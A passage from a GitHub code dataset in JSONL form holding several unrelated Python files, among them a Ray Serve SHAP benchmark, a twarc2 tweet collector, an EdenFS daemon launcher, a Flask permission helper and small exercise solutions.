max_batch_size, serve=True), 'wb') as f:\n pickle.dump(result, f)\n\n\ndef main():\n\n if not os.path.exists('results'):\n os.mkdir('results')\n\n data = load_data()\n X_explain = data['all']['X']['processed']['test'].toarray()\n\n max_batch_size = [int(elem) for elem in args.max_batch_size][0]\n batch_mode, replicas = args.batch_mode, args.replicas\n ray.init(address='auto') # connect to the cluster\n serve.init(http_host='0.0.0.0') # listen on 0.0.0.0 to make endpoint accessible from other machines\n host, route = os.environ.get(\"RAY_HEAD_SERVICE_HOST\", args.host), \"explain\"\n url = f\"http://{host}:{args.port}/{route}\"\n backend_tag = \"kernel_shap:b100\" # b100 means 100 background samples\n endpoint_tag = f\"{backend_tag}_endpoint\"\n worker_args = prepare_explainer_args(data)\n if batch_mode == 'ray':\n backend_setup(backend_tag, worker_args, replicas, max_batch_size)\n logging.info(f\"Batching with max_batch_size of {max_batch_size} ...\")\n else: # minibatches are sent to the ray worker\n backend_setup(backend_tag, worker_args, replicas, 1)\n logging.info(f\"Minibatches distributed of size {max_batch_size} ...\")\n endpont_setup(endpoint_tag, backend_tag, route=f\"/{route}\")\n\n run_explainer(X_explain, args.n_runs, replicas, max_batch_size, batch_mode=batch_mode, url=url)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"-r\",\n \"--replicas\",\n default=1,\n type=int,\n help=\"The number of backend replicas used to serve the explainer.\"\n )\n parser.add_argument(\n \"-batch\",\n \"--max_batch_size\",\n nargs='+',\n help=\"A list of values representing the maximum batch size of pending queries sent to the same worker.\"\n \"This should only contain one element as the backend is reset from `k8s_benchmark_serve.sh`.\",\n required=True,\n )\n parser.add_argument(\n \"-batch_mode\",\n type=str,\n default='ray',\n help=\"If set to 'ray' the batching will be leveraging ray serve. Otherwise, the input array is split into \"\n \"minibatches that are sent to the endpoint.\",\n required=True,\n )\n parser.add_argument(\n \"-n\",\n \"--n_runs\",\n default=5,\n type=int,\n help=\"Controls how many times an experiment is run (in benchmark mode) for a given number of cores to obtain \"\n \"run statistics.\"\n )\n parser.add_argument(\n \"-ho\",\n \"--host\",\n default=\"localhost\",\n type=str,\n help=\"Hostname.\"\n )\n parser.add_argument(\n \"-p\",\n \"--port\",\n default=\"8000\",\n type=str,\n help=\"Port.\"\n )\n args = parser.parse_args()\n main()\n","repo_name":"alexcoca/DistributedKernelShap","sub_path":"benchmarks/k8s_serve_explanations.py","file_name":"k8s_serve_explanations.py","file_ext":"py","file_size_in_byte":9276,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"19"} +{"seq_id":"29679859902","text":"import setuptools\nfrom distutils.extension import Extension\n# from distutils.core import setup\n# from Cython.Build import cythonize\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"ktLDA\",\n version=\"0.0.6\",\n author=\"Kehan (kehanLyu) & Tiangang (cPolaris)\",\n author_email=\"\",\n description=\"An implementation of latent Dirichlet allocation\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/cPolaris/ktLDA\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n ext_modules=[Extension(\"cgibbs_inf\", [\"ktlda/cgibbs_inf.c\"])]\n)\n\n# setup(\n# ext_modules=cythonize(\"ktlda/cgibbs_inf.pyx\")\n# )\n","repo_name":"cPolaris/ktLDA","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"1883301728","text":"import pandas as pd\n\nfrom repositories import TickerRepository\n\n\ndef seed_tickers():\n\n # Delete existing information\n TickerRepository.drop()\n\n # Populate from data file\n df = pd.read_csv(\"./data/ticker.csv\")\n for row in df.iterrows():\n symbol = row[1][\"Symbol\"]\n mcap = row[1][\"mcap\"]\n TickerRepository.create(symbol, mcap)\n","repo_name":"ricktjwong/alpha","sub_path":"backend/src/batch/seed/seed_tickers.py","file_name":"seed_tickers.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"13784682183","text":"import json\nimport subprocess\nimport time\nimport traceback\nfrom datetime import datetime, timedelta\nfrom os.path import isfile, isdir\nfrom os import setpgrp\nfrom signal import SIGINT\n\nimport click\n\n\ndef add_seconds(time):\n return str(datetime.fromisoformat(time)).replace(' ', 'T').split('.')[0]\n\n\ndef convert_from_json(query):\n if query == []:\n return query\n query = [\n {\n 'start-time': add_seconds(window['start-time']),\n 'end-time': add_seconds(window['end-time']),\n 'keywords': set(window['keywords'])\n } for window in query\n ]\n assert all([\n window['end-time'] >= window['start-time']\n for window in query\n ]), 'An end-time is before a start-time'\n assert all([\n type(keyword) == str\n for window in query\n for keyword in window['keywords']\n ]), 'A keyword is not a string'\n longest_query = max([\n ' OR '.join([keyword for keyword in window['keywords']])\n for window in query\n ], key=len)\n assert len(longest_query) < 1023, (\n 'A query has length ' + str(len(longest_query))\n + ' while the maximum is 1022. The query is the following:\\n'\n + longest_query\n )\n return query\n\n\ndef finish(log, stream_process, search_processes, use_stream):\n if use_stream:\n stream_process['end-time'] = now()\n if stream_process['start-time'] is None:\n stream_process['start-time'] = stream_process['end-time']\n print('\\n' + now() + ' Killing old stream...')\n stream_process['process'].send_signal(SIGINT)\n log += [stream_process]\n with open('log.json', 'w') as f:\n json.dump({\n 'stream_processes': stream_process['number'],\n 'search_processes': search_processes,\n 'log': [\n {\n 'start-time': window['start-time'],\n 'end-time': window['end-time'],\n 'keywords': list(window['keywords'])\n } for window in log\n ]\n }, f)\n\n\ndef get_empty_query(times):\n return [\n {\n 'start-time': time,\n 'end-time': times[i+1],\n 'keywords': set()\n }\n for i, time in enumerate(times[:-1])\n ]\n\n\ndef get_past_times(query):\n start_times = [window['start-time'] for window in query]\n end_times = [window['end-time'] for window in query]\n times = start_times + end_times\n past_times = [time for time in times if time <= now()]\n return set(past_times)\n\n\ndef get_standardized_queries(query, log):\n times = get_past_times(query)\n times |= get_past_times(log)\n times = sorted(list(times))\n\n standard_log = get_empty_query(times)\n for window in log:\n for standard_window in standard_log:\n if is_inside(standard_window, window):\n standard_window['keywords'] |= window['keywords']\n standard_query = get_empty_query(times)\n for window in query:\n for standard_window, log_window in zip(standard_query, standard_log):\n if is_inside(standard_window, window):\n standard_window['keywords'] |= {\n k for k in window['keywords']\n if k not in log_window['keywords']\n }\n return standard_query, standard_log\n\n\ndef is_inside(inner_window, outer_window):\n if inner_window['start-time'] < outer_window['start-time']:\n return False\n if inner_window['end-time'] > outer_window['end-time']:\n return False\n return True\n\n\ndef iterate(\n infile, outfile, stream_process, search_processes, log, use_stream\n ):\n try:\n with open(infile) as query_file:\n query = convert_from_json(json.load(query_file))\n except Exception:\n traceback.print_exc()\n print('Error reading your configuration file. Please correct it.')\n return search_processes, log\n\n now_keywords = {\n keyword for window in query for keyword in window['keywords']\n if window['start-time'] <= now() and window['end-time'] >= now()\n }\n if use_stream and now_keywords != stream_process['keywords']:\n log = stream(now_keywords, stream_process, log)\n\n query, log = get_standardized_queries(query, log)\n for query_window, log_window in zip(query, log):\n if len(query_window['keywords']) > 0:\n search_processes = search(\n query_window, log_window['keywords'], outfile, search_processes\n )\n log_window['keywords'] |= query_window['keywords']\n\n return search_processes, log\n\n\ndef now():\n return str(datetime.utcnow()).replace(' ', 'T').split('.')[0]\n\n\ndef read_log():\n if isfile('log.json'):\n with open('log.json') as f:\n log = json.load(f)\n assert log['stream_processes'] >= 0\n assert log['search_processes'] >= 0\n else:\n log = {\n 'stream_processes': 0,\n 'search_processes': 0,\n 'log': []\n }\n stream_process = {\n 'keywords': set(),\n 'start-time': None,\n 'number': log['stream_processes'],\n 'process': None\n }\n search_processes = log['search_processes']\n log = convert_from_json(log['log'])\n return log, stream_process, search_processes\n\n\ndef run(command, outfile, time=False, wait=True):\n if time:\n print(now(), end=' ')\n print(' '.join(command))\n with open(outfile, 'a') as f:\n if wait:\n process = subprocess.run(command, stdout=f, stderr=f)\n else:\n process = subprocess.Popen(\n command, stdout=f, stderr=f, preexec_fn=setpgrp\n )\n return process\n\n\ndef search(window, negative_keywords, outfile, search_processes):\n search_processes += 1\n query = ' OR '.join(window['keywords'])\n if len(negative_keywords) > 0:\n negative_query = ' OR '.join(negative_keywords)\n query = '(' + query + ') -(' + negative_query + ')'\n command = [\n 'twarc2', 'search', '--archive',\n '--start-time', window['start-time'], '--end-time', window['end-time'],\n query, outfile + 'search-' + str(search_processes) + '.jsonl'\n ]\n end_time = datetime.fromisoformat(window['end-time'])\n wait_until = end_time + timedelta(seconds=10)\n if wait_until > datetime.utcnow():\n time.sleep((wait_until - datetime.utcnow()).seconds + 1)\n run(command, 'search-' + str(search_processes) + '.log', wait=False)\n return search_processes\n\n\ndef stream(keywords, stream_process, log):\n old_stream_process = stream_process.copy()\n logfile = 'stream-' + str(stream_process['number']) + '.log'\n new_keywords = keywords - old_stream_process['keywords']\n old_keywords = old_stream_process['keywords'] - keywords\n\n for keyword in new_keywords:\n command = ['twarc2', 'stream-rules', 'add', keyword]\n run(command, logfile, time=True)\n\n stream_process['start-time'] = now()\n stream_process['keywords'] = keywords\n\n old_stream_process['end-time'] = stream_process['start-time']\n if old_stream_process['start-time'] is None:\n old_stream_process['start-time'] = old_stream_process['end-time']\n\n for keyword in old_keywords:\n command = ['twarc2', 'stream-rules', 'delete', keyword]\n run(command, logfile, time=True)\n\n return log + [old_stream_process]\n\n\n@click.command()\n@click.option(\n '--sleep', default=60, show_default=True,\n help='''\n Seconds to sleep between each step of reading the configuration.\n '''\n)\n@click.option(\n '--stream/--no-stream', 'use_stream', default=True, show_default=True,\n help='''\n Whether to enable stream queries.\n '''\n)\n@click.argument('infile', type=click.Path())\n@click.argument('outfile', type=click.Path())\ndef main(sleep, use_stream, infile, outfile):\n assert sleep > 0, 'sleep is not positive'\n if '/' in outfile:\n out_directory = '/'.join(outfile.split('/')[:-1])\n assert isdir(out_directory), out_directory + ' is not a directory'\n log, stream_process, search_processes = read_log()\n\n if use_stream:\n stream_process['number'] += 1\n logfile = 'stream-' + str(stream_process['number']) + '.log'\n run(['twarc2', 'stream-rules', 'delete-all'], logfile)\n\n try:\n if use_stream:\n command = [\n 'twarc2', 'stream',\n outfile + 'stream-' + str(stream_process['number']) + '.jsonl',\n ]\n stream_process['process'] = run(command, logfile, wait=False)\n while True:\n search_processes, log = iterate(\n infile, outfile, stream_process, search_processes, log,\n use_stream\n )\n time.sleep(sleep)\n except KeyboardInterrupt:\n finish(log, stream_process, search_processes, use_stream)\n except Exception:\n traceback.print_exc()\n finish(log, stream_process, search_processes, use_stream)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"remiss-project/recollector","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9019,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"2051612250","text":"\"\"\"Перед вами код начинающего программиста, который не знает логические операторы.\nОн написал условие проверки принадлежности точки к координатной плоскости.\nПерепишите код, представленный ниже, с помощью четырех отдельных условных операторов if:\n\nif x > 0:\n if y > 0: # x > 0, y > 0\n print(\"Первая четверть\")\n else: # x > 0, y < 0\n print(\"Четвертая четверть\")\nelse:\n if y > 0: # x < 0, y > 0\n print(\"Вторая четверть\")\n else: # x < 0, y < 0\n print(\"Третья четверть\")\n \"\"\"\nx = int(input(\"Введите число x:\\t\"))\ny = int(input(\"Введите число y:\\t\"))\nif x > 0 and y > 0:\n # здесь используем нововыученное форматирование f {}\n print(f\"Первая четверть, введенные координаты {x} и {y}\")\nif x > 0 and y < 0:\n print(f\"Четвертая четверть, введенные координаты {x} и {y}\")\nif x <0 and y > 0:\n print(f\"Вторая четверть, введенные координаты {x} и {y}\")\nif x < 0 and y < 0:\n print(f\"Третья четверть, введенные координаты {x} и {y}\")\n","repo_name":"AlexandrGanitev/MIFIIB","sub_path":"1_Python_Course/module_3_loops_conditions/excercise_3_5_2_coordinates_outofrange_checking.py","file_name":"excercise_3_5_2_coordinates_outofrange_checking.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"47907393883","text":"class Solution:\n def minimumEffortPath(self, heights: List[List[int]]) -> int:\n pq = []\n nrows = len(heights)\n ncols = len(heights[0])\n \n diff_mat = [[float('inf') for _ in range(ncols)] for _ in range(nrows)]\n \n diff_mat[0][0] = 0\n \n heapq.heappush(pq, (0, 0, 0))\n \n \n while pq:\n \n val, i, j = heapq.heappop(pq)\n \n for neigh in [(0,1), (1, 0), (0, -1), (-1, 0)]:\n \n x = i+neigh[0]\n y = j+neigh[1]\n \n if x < 0 or x >= nrows or y < 0 or y >= ncols:\n continue\n \n max_diff = max(val, abs(heights[i][j] - heights[x][y]))\n \n if max_diff < diff_mat[x][y]:\n diff_mat[x][y] = max_diff\n heapq.heappush(pq, (max_diff, x, y))\n \n \n return diff_mat[-1][-1]","repo_name":"cnulenka/Coding-Practice","sub_path":"1631-path-with-minimum-effort/1631-path-with-minimum-effort.py","file_name":"1631-path-with-minimum-effort.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"7176159180","text":"import csv\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom operator import itemgetter\n\nNOVERSION = None\nNOJUMP = -10\nTRIPLEPERFO = 18.69 * 3\ncrubyMeans = []\ncrubyStdDevs = []\ncrubyVersions = []\n\ncrubyVersionsLine = []\ncrubyVersionsLineX = []\n\njrubyVersionsLine = []\njrubyVersionsLineX = []\n\n\ncrubyVersionsX = []\ncrubyJumps = []\n\nnewLineX = []\nnewLine = []\nnewLineV = []\n\n\n\nsortedCrubyJumps = []\njrubyMeans = []\njrubyStdDevs = []\njrubyVersions = []\njrubyJumps = []\nsortedJrubyJumps = []\n\nfor file in ['jruby_results3_date.csv', 'jruby_results_flags2_date.csv']:\n\n\twith open(file) as f:\n\n\t\treader = csv.reader(f, delimiter=',')\n\n\t\t\n\t\tind = 0\n\t\tlocalMaxVersion = 0\n\t\tmax = 8\n\t\tmin = 3\n\n\t\tfor row in reader:\n\t\t\tind+=1\n\t\t\tif len(row) == max:\n\t\t\t\ttimes = []\n\t\t\t\tfor i in range(min, max):\n\t\t\t\t\ttimeString = row[i].split(\" \")[1]\n\t\t\t\t\ttimes.append(float(timeString))\n\n\t\t\t\t#Basic stats calculation\n\t\t\t\tif file == 'jruby_results3_date.csv':\n\t\t\t\t\tcrubyMeans.append(np.mean(times))\n\t\t\t\t\tcrubyVersions.append(row[1][5:])\n\t\t\t\t\t\n\t\t\t\t\tcrubyVersionsLine.append(np.mean(times))\n\t\t\t\t\tcrubyVersionsLineX.append(int(row[2])-144)\n\n\t\t\t\t\tcrubyVersionsX.append(int(row[2]))\n\n\n\t\t\t\telse:\n\t\t\t\t\tjrubyVersionsLine.append(np.mean(times))\n\t\t\t\t\tjrubyVersionsLineX.append(int(row[2])-144)\n\t\t\t\ttimes.clear\n\n#Get Jump Values\ncrubyJumps.append(NOJUMP)\nfor i in range(1, len(crubyMeans)) :\n\tif (crubyMeans[i] != NOVERSION and crubyMeans[i-1] != NOVERSION) :\n\t\tcrubyJumps.append(crubyMeans[i] - crubyMeans[i-1])\n\t\t#if crubyMeans[i] < crubyMeans[i-1] :\n\t\t\t#print(\"Version {}, value: {}\".format(crubyVersions[len(crubyJumps)-1], crubyMeans[i] - crubyMeans[i-1]))\n\telse : \n\t\tcrubyJumps.append(NOJUMP)\n\n#Finding max jump versions\nprint(\"cRuby:\")\nsortedCrubyJumps = crubyJumps.copy()\nsortedCrubyJumps.sort()\nfor i in range(0, 10) :\n\tjumpVal = sortedCrubyJumps[i]\n\tprint(jumpVal, end=', ')\n\tprint(crubyVersions[crubyJumps.index(jumpVal)])\n\n\n#Linear INterpolation\n#xValsCruby = []\n\n#for i in range(0, len(crubyVersions)) :\n#\txValsCruby.append(i)\n\n#true if dates\nif False :\n\tm, b = np.polyfit(newLineX, newLine, 1)\nelse:\n\tm, b = np.polyfit(crubyVersionsLineX, crubyVersionsLine, 1)\n\ncrubyLine = []\n\nfor i in crubyVersionsLineX :\n\tcrubyLine.append(m*i + b)\n\n#When to reach triple performance?\n\n\n\ngoalVersion = (73.05055-b)/m\n#goalVersion = (2*b)/m\nprint(\"formula is y={}x + {}\".format(m, b))\nprint(\"We wil reach 3x3 goal at version {}.\".format(goalVersion))\nprint(\"This is in {} versions.\".format(goalVersion-crubyVersionsLineX[len(crubyVersionsLineX)-1]))\nprint()\n\n#All manipulations done\nCST=6\n\ncrubyX = [int(i)*CST for i in np.arange(0, len(crubyVersions)/CST)]\ncrubyVersionsPlot = (itemgetter(*crubyX)(crubyVersions))\n\nallXs = [i for i in range(2131)]\n\n\n\n#print(jrubyVersionsLine)\n\nplt.figure(figsize=(10, 7.6))\n#plt.plot(crubyMeans, 'ro', markersize=12) #NODATE\nplt.plot(crubyVersionsLineX, crubyVersionsLine, 'ro', markersize=12, alpha = 1)\n#plt.plot(jrubyVersionsLineX, jrubyVersionsLine, 'bo', markersize=12)\nplt.plot(crubyVersionsLineX, crubyLine, linewidth=6, alpha=1)\nplt.yticks(fontsize=17)\nplt.xticks(fontsize=17)\n#plt.xticks(rotation=45, ha='right', fontsize=17) #NODATE\n#plt.xticks(crubyX, crubyVersionsPlot) #NODATE\nplt.xlabel(\"Time Since Original Version (days)\", fontsize=24) #DATE\n#plt.xlabel(\"cRuby Versions\", fontsize=24) #NODATE\nplt.ylabel(\"Performance (fps)\", fontsize=24)\n#plt.title()\nplt.ylim(top=36)\nplt.tight_layout()\nplt.savefig(\"figRubyMeans.png\")\nplt.show()\nplt.clf()\n\t","repo_name":"DerekYu177/ruby_performance_profiling","sub_path":"statsJDate.py","file_name":"statsJDate.py","file_ext":"py","file_size_in_byte":3458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"8111867516","text":"import os\nimport stat\nimport subprocess\nimport sys\nfrom typing import Dict, List, Optional, Tuple\n\nfrom . import daemon_util, proc_utils as proc_utils_mod\nfrom .config import EdenInstance\nfrom .util import ShutdownError, poll_until, print_stderr\n\n\n# The amount of time to wait for the edenfs process to exit after we send SIGKILL.\n# We normally expect the process to be killed and reaped fairly quickly in this\n# situation. However, in rare cases on very heavily loaded systems it can take a while\n# for init/systemd to wait on the process and for everything to be fully cleaned up.\n# Therefore we wait up to 30 seconds by default. (I've seen it take up to a couple\n# minutes on systems with extremely high disk I/O load.)\n#\n# If this timeout does expire this can cause `edenfsctl restart` to fail after\n# killing the old process but without starting the new process, which is\n# generally undesirable if we can avoid it.\nDEFAULT_SIGKILL_TIMEOUT = 30.0\n\n\ndef wait_for_process_exit(pid: int, timeout: float) -> bool:\n \"\"\"Wait for the specified process ID to exit.\n\n Returns True if the process exits within the specified timeout, and False if the\n timeout expires while the process is still alive.\n \"\"\"\n proc_utils: proc_utils_mod.ProcUtils = proc_utils_mod.new()\n\n def process_exited() -> Optional[bool]:\n if not proc_utils.is_process_alive(pid):\n return True\n return None\n\n try:\n poll_until(process_exited, timeout=timeout)\n return True\n except TimeoutError:\n return False\n\n\ndef wait_for_shutdown(\n pid: int, timeout: float, kill_timeout: float = DEFAULT_SIGKILL_TIMEOUT\n) -> bool:\n \"\"\"Wait for a process to exit.\n\n If it does not exit within `timeout` seconds kill it with SIGKILL.\n Returns True if the process exited on its own or False if it only exited\n after SIGKILL.\n\n Throws a ShutdownError if we failed to kill the process with SIGKILL\n (either because we failed to send the signal, or if the process still did\n not exit within kill_timeout seconds after sending SIGKILL).\n \"\"\"\n # Wait until the process exits on its own.\n if wait_for_process_exit(pid, timeout):\n return True\n\n # client.shutdown() failed to terminate the process within the specified\n # timeout. Take a more aggressive approach by sending SIGKILL.\n print_stderr(\n \"error: sent shutdown request, but edenfs did not exit \"\n \"within {} seconds. Attempting SIGKILL.\",\n timeout,\n )\n sigkill_process(pid, timeout=kill_timeout)\n return False\n\n\ndef sigkill_process(pid: int, timeout: float = DEFAULT_SIGKILL_TIMEOUT) -> None:\n \"\"\"Send SIGKILL to a process, and wait for it to exit.\n\n If timeout is greater than 0, this waits for the process to exit after sending the\n signal. Throws a ShutdownError exception if the process does not exit within the\n specified timeout.\n\n Returns successfully if the specified process did not exist in the first place.\n This is done to handle situations where the process exited on its own just before we\n could send SIGKILL.\n \"\"\"\n proc_utils: proc_utils_mod.ProcUtils = proc_utils_mod.new()\n try:\n proc_utils.kill_process(pid)\n except PermissionError:\n raise ShutdownError(\n \"Received a permissions when attempting to kill edenfs. \"\n \"Perhaps edenfs failed to drop root privileges properly?\"\n )\n\n if timeout <= 0:\n return\n\n if not wait_for_process_exit(pid, timeout):\n raise ShutdownError(\n \"edenfs process {} did not terminate within {} seconds of \"\n \"sending SIGKILL.\".format(pid, timeout)\n )\n\n\nasync def start_edenfs_service(\n instance: EdenInstance,\n daemon_binary: Optional[str] = None,\n edenfs_args: Optional[List[str]] = None,\n) -> int:\n \"\"\"Start the edenfs daemon.\"\"\"\n if instance.should_use_experimental_systemd_mode():\n from . import systemd_service\n\n return await systemd_service.start_systemd_service(\n instance=instance, daemon_binary=daemon_binary, edenfs_args=edenfs_args\n )\n\n return _start_edenfs_service(\n instance=instance,\n daemon_binary=daemon_binary,\n edenfs_args=edenfs_args,\n takeover=False,\n )\n\n\ndef gracefully_restart_edenfs_service(\n instance: EdenInstance,\n daemon_binary: Optional[str] = None,\n edenfs_args: Optional[List[str]] = None,\n) -> int:\n \"\"\"Gracefully restart the EdenFS service\"\"\"\n if instance.should_use_experimental_systemd_mode():\n raise NotImplementedError(\"TODO(T33122320): Implement 'eden start --takeover'\")\n\n return _start_edenfs_service(\n instance=instance,\n daemon_binary=daemon_binary,\n edenfs_args=edenfs_args,\n takeover=True,\n )\n\n\ndef _start_edenfs_service(\n instance: EdenInstance,\n daemon_binary: Optional[str] = None,\n edenfs_args: Optional[List[str]] = None,\n takeover: bool = False,\n) -> int:\n \"\"\"Get the command and environment to use to start edenfs.\"\"\"\n daemon_binary = daemon_util.find_daemon_binary(daemon_binary)\n cmd = get_edenfs_cmd(instance, daemon_binary)\n\n if takeover:\n cmd.append(\"--takeover\")\n if edenfs_args:\n cmd.extend(edenfs_args)\n\n eden_env = get_edenfs_environment()\n\n # Wrap the command in sudo, if necessary\n cmd, eden_env = prepare_edenfs_privileges(daemon_binary, cmd, eden_env)\n\n creation_flags = 0\n if sys.platform == \"win32\":\n CREATE_NO_WINDOW = getattr(subprocess, \"CREATE_NO_WINDOW\", 0x08000000)\n creation_flags = CREATE_NO_WINDOW\n\n return subprocess.call(\n cmd, stdin=subprocess.DEVNULL, env=eden_env, creationflags=creation_flags\n )\n\n\ndef get_edenfs_cmd(instance: EdenInstance, daemon_binary: str) -> List[str]:\n \"\"\"Get the command line arguments to use to start the edenfs daemon.\"\"\"\n cmd = [\n daemon_binary,\n \"--edenfs\",\n \"--edenfsctlPath\",\n os.environ.get(\"EDENFS_CLI_PATH\", os.path.abspath(sys.argv[0])),\n \"--edenDir\",\n str(instance.state_dir),\n \"--etcEdenDir\",\n str(instance.etc_eden_dir),\n \"--configPath\",\n str(instance.user_config_path),\n ]\n\n return cmd\n\n\ndef prepare_edenfs_privileges(\n daemon_binary: str, cmd: List[str], env: Dict[str, str]\n) -> Tuple[List[str], Dict[str, str]]:\n \"\"\"Update the EdenFS command and environment settings in order to run it as root.\n\n This wraps the command using sudo, if necessary.\n \"\"\"\n # Nothing to do on Windows\n if sys.platform == \"win32\":\n return (cmd, env)\n\n # If we already have root privileges we don't need to do anything.\n if os.geteuid() == 0:\n return (cmd, env)\n\n privhelper = os.path.join(os.path.dirname(daemon_binary), \"edenfs_privhelper\")\n\n # EdenFS accepts a privhelper_path argument to locate the privhelper, so if\n # we are about to pass that we should extract it.\n next_arg_is_privhelper = False\n for arg in cmd:\n if next_arg_is_privhelper:\n privhelper = arg\n break\n next_arg_is_privhelper = arg == \"--privhelper_path\"\n\n # If the EdenFS privhelper is installed as setuid root we don't need to use\n # sudo.\n try:\n s = os.stat(privhelper)\n if s.st_uid == 0 and (s.st_mode & stat.S_ISUID):\n return (cmd, env)\n except FileNotFoundError:\n # If the privhelper isn't found, EdenFS would just fail, let it fail\n # instead of here.\n return cmd, env\n\n # If we're still here we need to run edenfs under sudo\n sudo_cmd = [\"/usr/bin/sudo\"]\n # Add environment variable settings\n # Depending on the sudo configuration, these may not\n # necessarily get passed through automatically even when\n # using \"sudo -E\".\n for key, value in env.items():\n sudo_cmd.append(\"%s=%s\" % (key, value))\n\n cmd = sudo_cmd + cmd\n return cmd, env\n\n\ndef get_edenfs_environment() -> Dict[str, str]:\n \"\"\"Get the environment to use to start the edenfs daemon.\"\"\"\n eden_env = {}\n\n if sys.platform != \"win32\":\n # Reset $PATH to the following contents, so that everyone has the\n # same consistent settings.\n path_dirs = [\"/opt/facebook/hg/bin\", \"/usr/local/bin\", \"/bin\", \"/usr/bin\"]\n\n eden_env[\"PATH\"] = \":\".join(path_dirs)\n else:\n # On Windows, copy the existing PATH as it's not clear what locations\n # are needed.\n eden_env[\"PATH\"] = os.environ[\"PATH\"]\n\n if sys.platform == \"darwin\":\n # Prevent warning on mac, which will crash eden:\n # +[__NSPlaceholderDate initialize] may have been in progress in\n # another thread when fork() was called.\n eden_env[\"OBJC_DISABLE_INITIALIZE_FORK_SAFETY\"] = \"YES\"\n\n # Preserve the following environment settings\n preserve = [\n \"USER\",\n \"LOGNAME\",\n \"HOME\",\n \"EMAIL\",\n \"NAME\",\n \"ASAN_OPTIONS\",\n # When we import data from mercurial, the remotefilelog extension\n # may need to SSH to a remote mercurial server to get the file\n # contents. Preserve SSH environment variables needed to do this.\n \"SSH_AUTH_SOCK\",\n \"SSH_AGENT_PID\",\n \"KRB5CCNAME\",\n \"SANDCASTLE_ALIAS\",\n \"SANDCASTLE_INSTANCE_ID\",\n \"SCRATCH_CONFIG_PATH\",\n # These environment variables are used by Corp2Prod (C2P) Secure Thrift\n # clients to get the user certificates for authentication. (We use\n # C2P Secure Thrift to fetch metadata from SCS).\n \"THRIFT_TLS_CL_CERT_PATH\",\n \"THRIFT_TLS_CL_KEY_PATH\",\n # This helps with rust debugging\n \"MISSING_FILES\",\n \"EDENSCM_LOG\",\n \"EDENSCM_EDENAPI\",\n \"RUST_BACKTRACE\",\n \"RUST_LIB_BACKTRACE\",\n ]\n\n if sys.platform == \"win32\":\n preserve += [\n \"APPDATA\",\n \"SYSTEMROOT\",\n \"USERPROFILE\",\n \"USERNAME\",\n \"PROGRAMDATA\",\n \"LOCALAPPDATA\",\n ]\n\n for name, value in os.environ.items():\n # Preserve any environment variable starting with \"TESTPILOT_\".\n # TestPilot uses a few environment variables to keep track of\n # processes started during test runs, so it can track down and kill\n # runaway processes that weren't cleaned up by the test itself.\n # We want to make sure this behavior works during the eden\n # integration tests.\n # Similarly, we want to preserve EDENFS_ env vars which are\n # populated by our own test infra to relay paths to important\n # build artifacts in our build tree.\n if name.startswith(\"TESTPILOT_\") or name.startswith(\"EDENFS_\"):\n eden_env[name] = value\n elif name in preserve:\n eden_env[name] = value\n else:\n # Drop any environment variable not matching the above cases\n pass\n\n return eden_env\n","repo_name":"goldshellofficial/eden","sub_path":"eden/fs/cli/daemon.py","file_name":"daemon.py","file_ext":"py","file_size_in_byte":10910,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"10577677634","text":"import secrets\nfrom functools import wraps\nfrom typing import Set, Tuple\n\nfrom flask import current_app\nfrom .ul import current_user\nfrom server_timing import Timing as t\n\n\ndef has_perms(want: Set[str]) -> Tuple[bool, str, Set[str]]:\n missing = want - current_app.config.get(\"AIRY_DEFAULT_PERMS\", set())\n if len(missing) == 0:\n return True, \"\", set()\n if current_user.is_anonymous:\n reason = \"anonymous\"\n missing = want - current_app.config.get(\"AIRY_ANONYMOUS_PERMS\", set())\n else:\n reason = \"user\"\n missing = want - current_user.perms\n return False, reason, missing\n\n\ndef all_perms() -> Set[str]:\n default_perms = current_app.config.get(\"AIRY_DEFAULT_PERMS\", set())\n if current_user.is_anonymous:\n user_perms = current_app.config.get(\"AIRY_ANONYMOUS_PERMS\", set())\n else:\n user_perms = current_user.perms\n return default_perms | user_perms\n\n\ndef req_perms(perms: Set[str], handler, cond=lambda: True):\n if isinstance(perms, str):\n perms = set([perms])\n if isinstance(perms, tuple):\n perms = set(perms)\n if not isinstance(perms, set):\n raise TypeError(\"perms must be a set, tuple, or str\")\n\n def ret(f):\n @wraps(f)\n def decorated_function(*args, **kwargs):\n with t.time(\"req_perms\"):\n if cond():\n ok, reason, missing = has_perms(perms)\n if not ok:\n return handler(list(missing), reason)\n return f(*args, **kwargs)\n\n return decorated_function\n\n return ret\n\n\ndef gen_token() -> str:\n return secrets.token_hex(32)\n\n\ndef flip(d: dict) -> dict:\n return {v: k for k, v in d.items()}\n\n\nclass BidirectionalDict(dict):\n pass\n","repo_name":"nyiyui/kyii","sub_path":"airy/airy/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"23162414827","text":"lists = [2, 3, \"Hello\", 0]\n\n\ndef rez(l, index):\n try:\n r = 1 / l[index]\n except IndexError:\n print(\"Falscher Index\")\n r = None\n except (ZeroDivisionError, 